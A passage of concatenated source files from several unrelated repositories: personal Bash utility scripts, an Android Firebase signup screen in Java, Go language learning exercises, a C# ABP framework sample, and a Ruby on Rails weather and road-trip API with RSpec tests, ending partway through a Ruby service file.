"Photos is out of sync by $PHOCHECK MB" >> $REPORTFILE # ## Send report. /home/brian/.bin/pt --title "Sync Report" -d robot -p low -m "$(cat $REPORTFILE)" <file_sep>/keybase-backup.sh #!/bin/bash userName=$(cat ~/.username) fullFile=$(basename "$@") fileExt="${fullFile##*.}" fileName="${fullFile%.*}" dateName=$(date '+%Y-%m-%d') outFile=$fileName-$dateName.$fileExt.gpg keybase login $userName keybase encrypt -i "$@" -o ./$outFile $userName echo "$outFile" <file_sep>/blogit.sh #!/bin/bash if [ ! "$@" ]; then echo "Usage: blogit TITLE" exit else TITLE=$(echo "$@" | tr ' ' '-') fi DDATE=$(date "+%Y-%m-%d") FILENAME=$DDATE-$TITLE.md if [ -e $FILENAME ]; then vim $FILENAME else echo "---" >> $FILENAME echo "layout: blog" >> $FILENAME echo "title: '$TITLE'" >> $FILENAME echo "excerpt: " >> $FILENAME echo "date: $DDATE" >> $FILENAME echo "---" >> $FILENAME echo "" >> $FILENAME vim + $FILENAME fi <file_sep>/burnit.sh #!/bin/bash cdrecord -v dev=/dev/cdrom driveropts=burnfree fs=32 -eject "$1" <file_sep>/rsync-from-list.sh #!/bin/bash fileList="$@" sshUser="" tempPath="" plexPath="" for movie in "$(cat $fileList)" ; do rsync -aP "$movie" $sshUN:"$tempPath" ssh $sshUN mv -v "$tempPath"* "$plexPath" done <file_sep>/rem2todo.sh #!/bin/bash # Looks for upcoming reminders and adds to Todo.sh /usr/bin/rem | grep tomorrow | while read -r reminder ; do /home/brian/.bin/todo.sh add "$(echo $reminder | sed 's/ tomorrow.//g') @Remind" done <file_sep>/get-ip-local #!/bin/bash netstat -n -t | awk '{print $4}' | grep -o "[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" | grep -v "127.0.0.1" | sort -u <file_sep>/tca #!/bin/bash IFILE=$1 for x in *.$IFILE ; do BEG=$(echo "$x" | cut -d ' ' -f1) ; END=$(echo "$x" | sed 's/.*\(....$\)/\1/') ; MID=$(echo "$x" | awk -F' ' '{ $1=""; print $0 }' | sed 's/....$//') ; DIM=$(echo $MID | titlecase.py | sed 's/\s*$//g' ) ; if [ "$x" != "$BEG $DIM$END" ] ; then mv -v "$x" "$BEG $DIM$END"; fi ; done
b1f3950c4ccb314bb5f1c710c4e25d1baf2c0cc7
[ "Shell" ]
32
Shell
robotmachine/bash-misc
255b6e4fc01aaa7d15669b62f78e25bda7fceb5c
1e6efb74a39a2d5390456f136dc07a8a6d804437
refs/heads/master
<file_sep>package com.example.shinycleaning; import android.app.ProgressDialog; import android.content.Intent; import android.os.Bundle; import android.support.annotation.NonNull; import android.support.v7.app.AppCompatActivity; import android.text.TextUtils; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.ImageView; import android.widget.Toast; import com.google.android.gms.tasks.OnCompleteListener; import com.google.android.gms.tasks.OnFailureListener; import com.google.android.gms.tasks.OnSuccessListener; import com.google.android.gms.tasks.Task; import com.google.firebase.analytics.FirebaseAnalytics; import com.google.firebase.auth.AuthResult; import com.google.firebase.auth.FirebaseAuth; import com.google.firebase.auth.FirebaseUser; import com.google.firebase.database.DatabaseReference; import com.google.firebase.database.FirebaseDatabase; import com.google.firebase.firestore.DocumentReference; import com.google.firebase.firestore.FirebaseFirestore; import java.util.HashMap; public class Signup extends AppCompatActivity { private ImageView backImage; EditText fName, sName, email, pwd; Button btnRegister; // private ProgressDialog proDialog; FirebaseAuth firebaseAuth; DatabaseReference dbReference; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_signup); //loadUI(); fName = findViewById(R.id.first_name); sName = findViewById(R.id.surname); email = findViewById(R.id.email); pwd = findViewById(R.id.password); btnRegister = findViewById(R.id.btnSignup); backImage = findViewById(R.id.backImgView); backImage.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { backToLogin(); } }); firebaseAuth = FirebaseAuth.getInstance(); btnRegister.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String firstName = fName.getText().toString(); String surName = sName.getText().toString(); String uEmail = email.getText().toString(); String uPwd = pwd.getText().toString(); if (TextUtils.isEmpty(firstName) || TextUtils.isEmpty(surName) || TextUtils.isEmpty(uEmail) || TextUtils.isEmpty(uPwd)) { Toast.makeText(Signup.this, "Fill all the fields", Toast.LENGTH_SHORT).show(); } else if (uPwd.length() < 8) { Toast.makeText(Signup.this, "Password must include 8 characters", Toast.LENGTH_SHORT).show(); } else { registerUser(firstName, surName, uEmail, uPwd); } } }); } private void registerUser(final String firstName, final String surName, final String uEmail, final String uPwd) { firebaseAuth.createUserWithEmailAndPassword(uEmail, uPwd).addOnCompleteListener(Signup.this, new OnCompleteListener<AuthResult>() { @Override public void onComplete(@NonNull Task<AuthResult> taskReg) { if (taskReg.isSuccessful()) { // send user credentials to ths db and create user FirebaseUser firebaseUser = firebaseAuth.getCurrentUser(); String userId = firebaseUser.getUid(); System.out.println(userId); System.out.println(firstName); System.out.println(surName); System.out.println(uEmail); dbReference = FirebaseDatabase.getInstance().getReference().child("members").child(userId); HashMap<String, Object> hashMap = new HashMap<>(); hashMap.put("uId", userId); hashMap.put("firstName", firstName.toLowerCase()); hashMap.put("surName", surName.toLowerCase()); hashMap.put("uEmail", uEmail); dbReference.setValue(hashMap).addOnCompleteListener(new OnCompleteListener<Void>() { @Override public void onComplete(@NonNull Task<Void> taskRedSign) { if (taskRedSign.isSuccessful()) { Toast.makeText(Signup.this, "User registration success", Toast.LENGTH_SHORT).show(); Intent intent = new Intent(Signup.this, Signin.class); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); } } }); } else { //clear the all fields when error occurred Toast.makeText(Signup.this, "Failed to create account", Toast.LENGTH_SHORT).show(); fName.setText(""); sName.setText(""); email.setText(""); pwd.setText(""); } } }); } private void loadUI() { fName = (EditText)findViewById(R.id.first_name); sName = (EditText)findViewById(R.id.surname); email = (EditText)findViewById(R.id.email); pwd = (EditText)findViewById(R.id.password); } public void backToLogin() { Intent intent = new Intent(this, Signin.class); startActivity(intent); } } <file_sep>package com.example.shinycleaning; import android.app.DatePickerDialog; import android.app.Dialog; import android.os.Bundle; import android.support.annotation.NonNull; import android.support.annotation.Nullable; import android.support.v4.app.DialogFragment; import java.util.Calendar; import java.util.Date; public class SetDateFragment extends DialogFragment { @NonNull @Override public Dialog onCreateDialog(@Nullable Bundle savedInstanceState) { Calendar calendar = Calendar.getInstance(); int year = calendar.get(Calendar.YEAR); int month = calendar.get(Calendar.MONTH); int day = calendar.get(Calendar.DAY_OF_MONTH); DatePickerDialog datePickerDialog = new DatePickerDialog(getActivity(), (DatePickerDialog.OnDateSetListener) getActivity(), year, month, day); calendar.add(Calendar.DATE, +1); Date nDate = calendar.getTime(); datePickerDialog.getDatePicker().setMinDate(nDate.getTime() - (nDate.getTime() % (24 * 60 * 60 * 1000))); return datePickerDialog; } }<file_sep>"# ShinyCleaning"
5b0e04d0bf7e4dfc48005fed607c99e056e74bed
[ "Markdown", "Java" ]
3
Java
wenuka97/ShinyCleaning
1f4ab8ced2b9b56c4ebf08b94199ebd8d955738f
0c18f4da6b52f10d471137f56cf56bfefd9ce6e2
refs/heads/master
<file_sep>using MyFirstAbp.Localization; using Volo.Abp.AspNetCore.Mvc; namespace MyFirstAbp.Controllers { /* Inherit your controllers from this class. */ public abstract class MyFirstAbpController : AbpController { protected MyFirstAbpController() { LocalizationResource = typeof(MyFirstAbpResource); } } }<file_sep>using Microsoft.Extensions.DependencyInjection; using Volo.Abp.Modularity; namespace MyFirstAbp.EntityFrameworkCore { [DependsOn( typeof(MyFirstAbpEntityFrameworkCoreModule) )] public class MyFirstAbpEntityFrameworkCoreDbMigrationsModule : AbpModule { public override void ConfigureServices(ServiceConfigurationContext context) { context.Services.AddAbpDbContext<MyFirstAbpMigrationsDbContext>(); } } } <file_sep># Study Repo 此仓库用于存放自己的学习计划以及学习内容 #### 2020年学习计划 - 7月前计划 - 微信小程序 - SQL 能力提升 - 12月前计划 - dot net全栈路线 - http书籍 - TypeScript<file_sep>package main import ( "fmt" "math/big" ) // 非常大的数 big包 func main() { // big.Int lightSpeed := big.NewInt(299792) secondsPerday := big.NewInt(86400) fmt.Println(lightSpeed, secondsPerday) distance := new(big.Int) distance.SetString("24000000000000000000000000000000", 10) fmt.Println(distance) seconds := new(big.Int) seconds.Div(distance, lightSpeed) days := new(big.Int) days.Div(seconds, secondsPerday) fmt.Println(days) // big.Float // big.Rat } <file_sep>package main import ( "fmt" ) func main() { var a = []int{1, 2, 3} fmt.Printf("slice a : %v\n", a) var b = []int{4, 5, 6} fmt.Printf("slice b : %v\n", b) c := append(a, b...) fmt.Printf("slice c : %v\n", c) d := append(c, 7) fmt.Printf("slice d : %v\n", d) e := append(d, 8, 9, 10) fmt.Printf("slice e : %v\n", e) } <file_sep>using Microsoft.EntityFrameworkCore; using MyFirstAbp.Books; using Volo.Abp; using Volo.Abp.EntityFrameworkCore.Modeling; namespace MyFirstAbp.EntityFrameworkCore { public static class MyFirstAbpDbContextModelCreatingExtensions { public static void ConfigureMyFirstAbp(this ModelBuilder builder) { Check.NotNull(builder, nameof(builder)); /* Configure your own tables/entities inside here */ builder.Entity<Book>(b => { b.ToTable(MyFirstAbpConsts.DbTablePrefix + "Books", MyFirstAbpConsts.DbSchema); b.ConfigureByConvention(); //auto configure for the base class props b.Property(x => x.Name).IsRequired().HasMaxLength(128); }); } } }<file_sep>package main import "fmt" func main() { var number int = 10 var price float64 = 15.10 fmt.Println(number, price) price = number fmt.Println(pricd) } <file_sep>package main /* var slice []type = make([]type, len) slice := make([]type, len) slice := make([]type, len, cap) */ import ( "fmt" ) var slice0 []int = make([]int, 10) var slice1 = make([]int, 10) var slice2 = make([]int, 10, 10) func main() { fmt.Printf("make全局slice0 :%v\n", slice0) fmt.Printf("make全局slice1 :%v\n", slice1) fmt.Printf("make全局slice2 :%v\n", slice2) fmt.Println("--------------------------------------") slice3 := make([]int, 10) slice4 := make([]int, 10) slice5 := make([]int, 10, 10) fmt.Printf("make局部slice3 :%v\n", slice3) fmt.Printf("make局部slice4 :%v\n", slice4) fmt.Printf("make局部slice5 :%v\n", slice5) } <file_sep>using Volo.Abp.Account; using Volo.Abp.AutoMapper; using Volo.Abp.FeatureManagement; using Volo.Abp.Identity; using Volo.Abp.Modularity; using Volo.Abp.PermissionManagement; using Volo.Abp.TenantManagement; namespace MyFirstAbp { [DependsOn( typeof(MyFirstAbpDomainModule), typeof(AbpAccountApplicationModule), typeof(MyFirstAbpApplicationContractsModule), typeof(AbpIdentityApplicationModule), typeof(AbpPermissionManagementApplicationModule), typeof(AbpTenantManagementApplicationModule), typeof(AbpFeatureManagementApplicationModule) )] public class MyFirstAbpApplicationModule : AbpModule { public override void ConfigureServices(ServiceConfigurationContext context) { Configure<AbpAutoMapperOptions>(options => { options.AddMaps<MyFirstAbpApplicationModule>(); }); } } } <file_sep>// 类型转换 package main func main() { age := 41 marsAge := float64(age) } <file_sep>package main import ( "fmt" "math" "time" ) func main() { // 整数环绕 var red uint8 = 255 red++ fmt.Println(red) var number int8 = 127 number++ fmt.Println(number) // 打印bit var green uint8 = 3 fmt.Printf("%08b\n", green) green++ fmt.Printf("%08b\n", green) // 整数类型最大、小值 math包 fmt.Println(math.MaxInt16) // 时间问题 future := time.Unix(12622780800, 0) fmt.Println(future) } <file_sep>package main import ( "fmt" ) // string func main() { fmt.Println("peace\naaa") fmt.Println(`peace\naaa`) fmt.Println(`----------------------------------------`) var pi rune = 960 var alpha rune = 940 var omega rune = 969 var bang byte = 33 fmt.Printf("%v %v %v %v\n", pi, alpha, omega, bang) fmt.Printf("%c %c %c %c\n", pi, alpha, omega, bang) fmt.Println(`----------------------------------------`) message := "shalom" for i := 0; i < len(message); i++ { fmt.Printf("%c \n", message[i]) } fmt.Println(`----------------------------------------`) // 凯撒加密法 ROT13 // range question := "aaddffgg" for _, c := range question { fmt.Printf("%v %c\n", c, c) } } <file_sep>using Volo.Abp.Ui.Branding; using Volo.Abp.DependencyInjection; namespace MyFirstAbp.Web { [Dependency(ReplaceServices = true)] public class MyFirstAbpBrandingProvider : DefaultBrandingProvider { public override string AppName => "MyFirstAbp"; } } <file_sep>using System.Runtime.CompilerServices; [assembly:InternalsVisibleToAttribute("MyFirstAbp.Web.Tests")] <file_sep>namespace MyFirstAbp.Web.Menus { public class MyFirstAbpMenus { private const string Prefix = "MyFirstAbp"; public const string Home = Prefix + ".Home"; //Add your menu items here... } }<file_sep>namespace MyFirstAbp.Web.Pages { public class IndexModel : MyFirstAbpPageModel { public void OnGet() { } } }<file_sep>using AutoMapper; namespace MyFirstAbp.Web { public class MyFirstAbpWebAutoMapperProfile : Profile { public MyFirstAbpWebAutoMapperProfile() { //Define your AutoMapper configuration here for the Web project. } } } <file_sep># Golang Guide and Tutorials I hope it could be useful to you :) Let's keep in touch : ) - [Twitter](https://twitter.com/_alex_gama) - [GitHub](https://github.com/alexandregama) - [Linkedin](https://www.linkedin.com/in/alexandregama/) - [Instagram](https://www.instagram.com/_alex_gama) - [Youtube](https://www.youtube.com/channel/UCn09BXJXOCPLARsqNvxEFuw) <file_sep>package main import "fmt" func main() { var a = "Runoob" fmt.Println(a) var b, c = 1, 2 fmt.Println(b, c) d := 33 fmt.Println(d) _, numb, strs := numbers() fmt.Println(numb, strs) } func numbers() (int, int, string) { a, b, c := 1, 2, "str" return a, b, c } <file_sep>using System.Threading.Tasks; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Localization; using MyFirstAbp.Localization; using MyFirstAbp.MultiTenancy; using Volo.Abp.TenantManagement.Web.Navigation; using Volo.Abp.UI.Navigation; namespace MyFirstAbp.Web.Menus { public class MyFirstAbpMenuContributor : IMenuContributor { public async Task ConfigureMenuAsync(MenuConfigurationContext context) { if (context.Menu.Name == StandardMenus.Main) { await ConfigureMainMenuAsync(context); } } private async Task ConfigureMainMenuAsync(MenuConfigurationContext context) { if (!MultiTenancyConsts.IsEnabled) { var administration = context.Menu.GetAdministration(); administration.TryRemoveMenuItem(TenantManagementMenuNames.GroupName); } var l = context.GetLocalizer<MyFirstAbpResource>(); context.Menu.Items.Insert(0, new ApplicationMenuItem(MyFirstAbpMenus.Home, l["Menu:Home"], "~/")); } } } <file_sep>using System; using MyFirstAbp.Books; using Volo.Abp.Application.Dtos; using Volo.Abp.Application.Services; using Volo.Abp.Domain.Repositories; namespace MyFirstAbp { public class BookService: CrudAppService< Book, //The Book entity BookDto, //Used to show books Guid, //Primary key of the book entity PagedAndSortedResultRequestDto, //Used for paging/sorting CreateUpdateBookDto>, //Used to create/update a book IBookAppService { public BookService(IRepository<Book, Guid> repository) : base(repository) { } } }<file_sep># Go Language for Beginners in 16 Parts Hello! All the code is from the Go Series: [Go Language for Beginners in 16 Parts](https://blog.hackingcode.io/go-language-for-beginners-tutorial-in-16-parts)! - 1 - [Golang characteristics and Go Syntax](https://blog.hackingcode.io/go-language-tutorial-go-characteristics-and-go-syntax-tutorial) - 2 - [Declaring Variables in Go](https://blog.hackingcode.io/go-language-tutorial-declaring-variables-in-go) - 3 - [Functions in Go](https://blog.hackingcode.io/go-language-tutorial-go-functions) - 4 - [Error Handling in Go](https://blog.hackingcode.io/go-language-tutorial-go-error-handling-in-go) - 5 - [Flow control in Go](https://blog.hackingcode.io/go-language-tutorial-flow-control-in-go) - 6 - [If..else Statement in Go](https://blog.hackingcode.io/go-language-tutorial-if-else-statement-in-go) - 7 - [Switch Statement in Go](https://blog.hackingcode.io/go-language-tutorial-switch-statement-in-go) - 8 - [Data Structures in Go with Array](https://blog.hackingcode.io/go-language-tutorial-data-structure-array-in-go) - 9 - [Data Structures in Go with Slices](https://blog.hackingcode.io/go-language-tutorial-data-structure-slices-in-go) - 10 - [Data Structures in Go with Map](https://blog.hackingcode.io/go-language-tutorial-go-data-structure-map-in-go) - 11 - [Custom Types in Go](https://blog.hackingcode.io/go-language-tutorial-go-custom-types) - 12 - [Struct in Go](https://blog.hackingcode.io/go-language-tutorial-struct-in-go) - 13 - [Methods in Go](https://blog.hackingcode.io/go-language-tutorial-methods-in-go) - 14 - [Interfaces in Go](https://blog.hackingcode.io/go-language-tutorial-interfaces-in-go) - 15 - [Concurrency with Goroutines in Go](https://blog.hackingcode.io/go-language-tutorial-concurrency-goroutines-in-go) - 16 - [Concurrency with Goroutines and Channel in Go](https://blog.hackingcode.io/go-language-tutorial-concurrency-goroutine-channel-in-go) I hope it could be useful to you :) <file_sep>package main import ( "fmt" ) func main() { const LENGTH = 10 const WIDTH = 5 var area int const a, b, c = 1, false, "str" area = LENGTH * WIDTH fmt.Printf("area is %d", area) println() println(a, b, c) const ( Unknown = 0 Female = 1 Male = 2 ) } <file_sep>package main import ( "fmt" ) type person struct { name string city string age int8 } func main() { var p1 person p1.name = "pprof.cn" p1.city = "北京" p1.age = 18 fmt.Printf("p1=%v\n", p1) //p1={pprof.cn 北京 18} fmt.Printf("p1=%#v\n", p1) //p1=main.person{name:"pprof.cn", city:"北京", age:18} } <file_sep>using Volo.Abp.Localization; namespace MyFirstAbp.Localization { [LocalizationResourceName("MyFirstAbp")] public class MyFirstAbpResource { } }<file_sep>using System.Runtime.CompilerServices; [assembly:InternalsVisibleToAttribute("MyFirstAbp.Domain.Tests")] [assembly:InternalsVisibleToAttribute("MyFirstAbp.TestBase")] <file_sep>using System; using Volo.Abp.Application.Dtos; using Volo.Abp.Application.Services; namespace MyFirstAbp { public interface IBookAppService : ICrudAppService<BookDto,Guid,PagedAndSortedResultRequestDto,CreateUpdateBookDto> { } }<file_sep>using System.Runtime.CompilerServices; [assembly:InternalsVisibleToAttribute("MyFirstAbp.EntityFrameworkCore.Tests")] <file_sep>package main import ( "fmt" ) func main() { data := [...]int{0, 1, 2, 3, 4, 5, 6, 7, 8, 9} fmt.Println("array data : ", data) s1 := data[8:] s2 := data[:5] fmt.Printf("slice s1 : %v\n", s1) fmt.Printf("slice s2 : %v\n", s2) copy(s2, s1) fmt.Printf("copied slice s1 : %v\n", s1) fmt.Printf("copied slice s2 : %v\n", s2) fmt.Println("last array data : ", data) } <file_sep>using System; using Microsoft.AspNetCore.Builder; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Logging; using Volo.Abp; namespace MyFirstAbp { public class MyFirstAbpWebTestStartup { public void ConfigureServices(IServiceCollection services) { services.AddApplication<MyFirstAbpWebTestModule>(); } public void Configure(IApplicationBuilder app, ILoggerFactory loggerFactory) { app.InitializeApplication(); } } }<file_sep>using MyFirstAbp.Localization; using Volo.Abp.AspNetCore.Mvc.UI.RazorPages; namespace MyFirstAbp.Web.Pages { /* Inherit your PageModel classes from this class. */ public abstract class MyFirstAbpPageModel : AbpPageModel { protected MyFirstAbpPageModel() { LocalizationResourceType = typeof(MyFirstAbpResource); } } }<file_sep>namespace MyFirstAbp { public abstract class MyFirstAbpApplicationTestBase : MyFirstAbpTestBase<MyFirstAbpApplicationTestModule> { } } <file_sep>using System; using MyFirstAbp.Books; using Volo.Abp.Application.Dtos; namespace MyFirstAbp { public class BookDto : AuditedEntityDto<Guid> { public string Name { get; set; } public BookType Type { get; set; } public DateTime PublishDate { get; set; } public float Price { get; set; } } }<file_sep>using System.Threading.Tasks; namespace MyFirstAbp.Data { public interface IMyFirstAbpDbSchemaMigrator { Task MigrateAsync(); } } <file_sep>namespace MyFirstAbp { public static class MyFirstAbpDomainErrorCodes { /* You can add your business exception error codes here, as constants */ } } <file_sep>using MyFirstAbp.Localization; using Volo.Abp.Authorization.Permissions; using Volo.Abp.Localization; namespace MyFirstAbp.Permissions { public class MyFirstAbpPermissionDefinitionProvider : PermissionDefinitionProvider { public override void Define(IPermissionDefinitionContext context) { var myGroup = context.AddGroup(MyFirstAbpPermissions.GroupName); //Define your own permissions here. Example: //myGroup.AddPermission(MyFirstAbpPermissions.MyPermission1, L("Permission:MyPermission1")); } private static LocalizableString L(string name) { return LocalizableString.Create<MyFirstAbpResource>(name); } } } <file_sep>using MyFirstAbp.EntityFrameworkCore; using Volo.Abp.Modularity; namespace MyFirstAbp { [DependsOn( typeof(MyFirstAbpEntityFrameworkCoreTestModule) )] public class MyFirstAbpDomainTestModule : AbpModule { } }<file_sep>namespace MyFirstAbp { public abstract class MyFirstAbpDomainTestBase : MyFirstAbpTestBase<MyFirstAbpDomainTestModule> { } } <file_sep>using AutoMapper; using MyFirstAbp.Books; namespace MyFirstAbp { public class MyFirstAbpApplicationAutoMapperProfile : Profile { public MyFirstAbpApplicationAutoMapperProfile() { /* You can configure your AutoMapper mapping configuration here. * Alternatively, you can split your mapping configurations * into multiple profile classes for a better organization. */ CreateMap<Book, BookDto>(); CreateMap<CreateUpdateBookDto, Book>(); } } } <file_sep>using System; using System.Collections.Generic; using System.Text; using MyFirstAbp.Localization; using Volo.Abp.Application.Services; namespace MyFirstAbp { /* Inherit your application services from this class. */ public abstract class MyFirstAbpAppService : ApplicationService { protected MyFirstAbpAppService() { LocalizationResource = typeof(MyFirstAbpResource); } } } <file_sep>using Volo.Abp; namespace MyFirstAbp.EntityFrameworkCore { public abstract class MyFirstAbpEntityFrameworkCoreTestBase : MyFirstAbpTestBase<MyFirstAbpEntityFrameworkCoreTestModule> { } } <file_sep>namespace MyFirstAbp { public static class MyFirstAbpConsts { public const string DbTablePrefix = "App"; public const string DbSchema = null; } } <file_sep>using Volo.Abp.Modularity; namespace MyFirstAbp { [DependsOn( typeof(MyFirstAbpApplicationModule), typeof(MyFirstAbpDomainTestModule) )] public class MyFirstAbpApplicationTestModule : AbpModule { } }<file_sep>using System; using System.Threading.Tasks; using Microsoft.EntityFrameworkCore; using Microsoft.Extensions.DependencyInjection; using MyFirstAbp.Data; using Volo.Abp.DependencyInjection; namespace MyFirstAbp.EntityFrameworkCore { public class EntityFrameworkCoreMyFirstAbpDbSchemaMigrator : IMyFirstAbpDbSchemaMigrator, ITransientDependency { private readonly IServiceProvider _serviceProvider; public EntityFrameworkCoreMyFirstAbpDbSchemaMigrator( IServiceProvider serviceProvider) { _serviceProvider = serviceProvider; } public async Task MigrateAsync() { /* We intentionally resolving the MyFirstAbpMigrationsDbContext * from IServiceProvider (instead of directly injecting it) * to properly get the connection string of the current tenant in the * current scope. */ await _serviceProvider .GetRequiredService<MyFirstAbpMigrationsDbContext>() .Database .MigrateAsync(); } } }
a6e0331cdf6a8381629887c8437b1b6723e30266
[ "Markdown", "C#", "Go" ]
44
C#
Umi1874/StudyRepo
f9e78ff9546105343355ff5ad14f9af5fc73a5e7
a6dfe88e52067b1af22f62549890b2f30296a1a5
refs/heads/master
<file_sep>require 'rails_helper' RSpec.describe "Forecast API" do describe "Endpoints" do before :each do @city = "denver,co" get "/api/v1/forecast?location=#{@city}" end it "gives the current forecast for a given city" do expect(response).to be_successful forecast = JSON.parse(response.body) expect(forecast['data']['attributes']["currently"].keys).to eq(['time', 'summary', 'icon', 'temperature', 'humidity', 'visibility', 'uv_index', 'feels_like']) end it "gives the hourly forecast for a given city" do forecast = JSON.parse(response.body) expect(forecast['data']['attributes']["hourly"][0].keys).to eq(['time', 'temperature']) end it "gives the daily forecast for a given city" do forecast = JSON.parse(response.body) expect(forecast['data']['attributes']["daily"][0].keys).to eq(['summary', 'icon', 'precip_prob', 'precip_type', 'high_temp', 'low_temp', 'day']) end end end<file_sep>class RoadTrip attr_reader :id def initialize(trip_info) @id = nil @end_location = trip_info[:destination] @start_location = trip_info[:origin] end def start_location @start_location end def end_location @end_location end def travel_time GoogleDirectionsService.new(@start_location, @end_location).travel_time end def forecast current = Time.now.to_i travel = travel_time['value'] arrival = (current + travel) x = ForecastService.new(@end_location, arrival) JSON.parse(x.future_forecast.body)['currently'] end end<file_sep>require 'rails_helper' RSpec.describe "Roadtrip" do describe "Endpoint" do it "shows 200 response with origin destination travel_time forecast " do post "/api/v1/users", params:{ email: '<EMAIL>', password: '<PASSWORD>', password_confirmation: '<PASSWORD>' } phil = User.last post '/api/v1/road_trip', params: { origin: 'Denver, CO', destination: 'Pueblo, CO', api_key: phil.api_key } expect(response).to be_successful expect(response.status).to eq(200) get_json = JSON.parse(response.body) expect(get_json['data']['attributes'].keys).to eq(['start_location', 'end_location', 'travel_time', 'forecast']) expect(get_json['data']['attributes']['forecast'].keys).to eq(['summary', 'temperature']) end end end<file_sep>class GoogleDirectionsService def initialize(startpoint, endpoint) @startpoint = startpoint @endpoint = endpoint end def travel_time get_json['routes'][0]['legs'][0]['duration'] end private def get_json JSON.parse(connection.get.body) end def connection return @conn if @conn @conn = Faraday.new("https://maps.googleapis.com/maps/api/directions/json?origin=#{@startpoint}&destination=#{@endpoint}&key=#{ENV['GOOGLE_API_KEY']}") do |f| f.adapter Faraday.default_adapter end end end<file_sep>class Background attr_reader :id def initialize(location) @id = nil @location = location end def image BackgroundService.new(@location).image_url end end<file_sep>require 'rails_helper' RSpec.describe "ForecastService" do describe "gives the forecast data for a given city" do before :each do location = "denver,co" @forecast = Forecast.new(location) end it "including current weather" do expect(@forecast.currently[:summary].class).to eq(String) expect(@forecast.currently[:temperature].class).to eq(Float) end it "including hourly weather" do expect(@forecast.hourly.count).to eq(8) end it "including daily weather" do expect(@forecast.daily.count).to eq(5) end end end<file_sep># README ### Sweater Weather is an API designed to provide forecast information for a given future destination ## Ruby version: - 2.4.1 ## API Requirements: - GOOGLE_API_KEY - DARK_SKY_API_KEY - UNSPLASH_ACCESS_KEY - UNSPLASH_SECURITY_KEY ## Database creation - PostgreSQL ## Database initialization: - $ rails db:{:create, :migrate} ## How to run the test suite: - $ rspec (or bundle exec rspec) ## Services: - Google API used for mapping and global logistics, directions - Dark Sky API used for forecasting information based on global logistics - Unsplash API used for images ## Request Examples: * GET "/api/v1/forecast?location=denver,co - Sends forecast information for a given location * GET "/api/v1/backgrounds?location=denver,co - Sends a an image URL for a given location * POST "/api/v1/users?email=<EMAIL>&password=<PASSWORD>&password_confirmation=<PASSWORD> - Creates a new user * POST "/api/v1/sessions?email=<EMAIL>&password=<PASSWORD>&api_key=key - Creates a new session for a given user * POST "/api/v1/road_trip?origin=denver,co&destination=pueblo,co&api_key=key - Creates a new road trip for the user for a given origin and destination <file_sep>require 'rails_helper' RSpec.describe "User Registration Endpoint" do it "creates a user with email, password, api_key" do post "/api/v1/users", params:{ email: '<EMAIL>', password: '<PASSWORD>', password_confirmation: '<PASSWORD>' } phil = User.last expect(response).to be_successful expect(response.status).to eq(201) get_json = JSON.parse(response.body) expect(get_json['data']['attributes'].keys).to eq(['api_key']) end it "gets 400 error if passwords are not the same" do post "/api/v1/users", params:{ email: '<EMAIL>', password: '<PASSWORD>', password_confirmation: '<PASSWORD>' } expect(response.status).to eq(400) end it "gets 400 error if email is in use" do post "/api/v1/users", params:{ email: '<EMAIL>', password: '<PASSWORD>', password_confirmation: '<PASSWORD>' } post "/api/v1/users", params:{ email: '<EMAIL>', password: '<PASSWORD>', password_confirmation: '<PASSWORD>' } expect(response.status).to eq(400) end end<file_sep>class Forecast attr_reader :id def initialize(location) @location = location @id = nil end def currently ForecastService.new(@location).currently end def hourly ForecastService.new(@location).hourly end def daily ForecastService.new(@location).daily end end<file_sep>class GeoLocationService def initialize(address) @address = address end def coordinates get_json["results"][0]["geometry"]["location"] end def latitude coordinates["lat"] end def longitude coordinates["lng"] end private def get_json JSON.parse(connection.get.body) end def connection key = ENV['GOOGLE_API_KEY'] return @conn if @conn @conn = Faraday.new(url: "https://maps.googleapis.com/maps/api/geocode/json?") do |f| f.adapter Faraday.default_adapter f.params['key'] = key f.params['address'] = @address end end end<file_sep>class BackgroundService def initialize(location) @location = location end def image_url x = get_json['results'] { url: x[0]['urls']['raw'] } end private def get_json JSON.parse(connection.get.body) end def connection return @conn if @conn @conn = Faraday.new("https://api.unsplash.com/search/photos?query=#{@location}&client_id=#{ENV['UNSPLASH_ACC_KEY']}") end end<file_sep>class User < ApplicationRecord validates :email, uniqueness: true, presence: true validates_confirmation_of :password validates_presence_of :password_digest, require: true has_secure_password validates :api_key, uniqueness: true has_secure_token :api_key end<file_sep>require 'rails_helper' RSpec.describe "Background Image" do describe "Endpoint" do it "lists an image from location parameter" do location = "denver,co" get "/api/v1/backgrounds?location=#{location}" expect(response).to be_successful background = JSON.parse(response.body) expect(background['data']['attributes']['image'].count).to eq(1) end end end<file_sep>class Api::V1::RoadTripController < ApplicationController def create user = User.find_by(api_key: params[:api_key]) if user road_trip = RoadTrip.new(road_trip_params) render json: RoadTripSerializer.new(road_trip) else render json: {error: "Not logged in"}, status: 401 end end private def road_trip_params params.permit(:origin, :destination, :api_key) end end<file_sep>class ForecastSerializer include FastJsonapi::ObjectSerializer attributes :currently, :hourly, :daily end<file_sep>require 'rails_helper' RSpec.describe "User Login" do describe "Endpoint" do it "shows 200 response and api_key with successful login" do post "/api/v1/users", params:{ email: '<EMAIL>', password: '<PASSWORD>', password_confirmation: '<PASSWORD>' } phil = User.last post "/api/v1/sessions", params:{ email: "#{phil.email}", password: "#{<PASSWORD>}" } expect(response).to be_successful expect(response.status).to eq(200) get_json = JSON.parse(response.body) expect(get_json['data']['attributes'].keys).to eq(['api_key']) end it "gets 400 error if credentials are incorrect" do post "/api/v1/users", params:{ email: '<EMAIL>', password: '<PASSWORD>', password_confirmation: '<PASSWORD>' } post "/api/v1/users", params:{ email: '<EMAIL>', password: '<PASSWORD>', } expect(response.status).to eq(400) end end end<file_sep>class ForecastService def initialize(location, time = nil) coordinates ||= GeoLocationService.new(location) @lat = coordinates.latitude @lng = coordinates.longitude @time = time end def currently x = get_json["currently"] { time: x["time"], summary: x["summary"], icon: x["icon"], temperature: x["temperature"], humidity: x["humidity"], visibility: x["visibility"], uv_index: 